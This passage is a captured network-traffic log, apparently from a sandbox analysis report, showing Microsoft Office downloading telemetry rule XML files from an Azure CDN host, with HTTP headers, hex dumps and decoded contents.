3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:27:59 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:27:59 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:27:59 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 9a0790d9-e01e-0052-7cad-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102759Z-16849878b78fssff8btnns3b1400000009q00000000066eh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:27:59 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:27:59 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:27:59 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:27:59 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 834668b8-301e-0052-121c-2765d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102759Z-16849878b7828dsgct3vrzta7000000007ug00000000627q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:27:59 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:27:59 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:27:59 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 7b93b929-d01e-0082-6676-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102759Z-15b8d89586flspj6y6m5fk442w0000000fag000000007pep x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:00 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:27:59 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:00 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 045b826b-001e-0014-04b7-2a5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102800Z-159b85dff8f7lrfphC1DFWfw08000000019g0000000025pf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:00 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:27:59 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:00 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: fc05dcd0-301e-0052-2d91-2a65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102800Z-17c5cb586f6tg7hbbt0rp19dan00000001tg0000000006n4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:00 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:27:59 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:00 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:00 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: d5f61869-301e-0051-4d7a-2b38bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102800Z-159b85dff8fdthgkhC1DFWk0rw000000018g000000007zub x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 10:28:00 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:27:59 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:00 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 1f7bc680-101e-0065-6904-274088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102800Z-16849878b78hh85qc40uyr8sc800000009k000000000e053 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:00 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:00 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:00 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 3c9c0adf-d01e-0028-0c96-257896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102800Z-16849878b78p49s6zkwt11bbkn000000091g000000007yr8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:00 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:00 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:00 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:00 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 9b80997a-f01e-0003-4c76-2a4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102800Z-159b85dff8fbvrz4hC1DFW730c00000000b00000000001u8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:00 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:00 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:00 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: c8022c20-501e-00a3-08ae-26c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102800Z-16849878b78x6gn56mgecg60qc0000000b4000000000ed41 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:00 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:00 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:00 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: f0c209fa-601e-00ab-740d-2966f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102800Z-17c5cb586f6f8m6jnehy0z65x400000008mg00000000awvx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:00 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:00 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:00 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:00 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 73421f5c-b01e-001e-1796-2a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102800Z-159b85dff8f2qnk7hC1DFWwb240000000240000000002aq8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
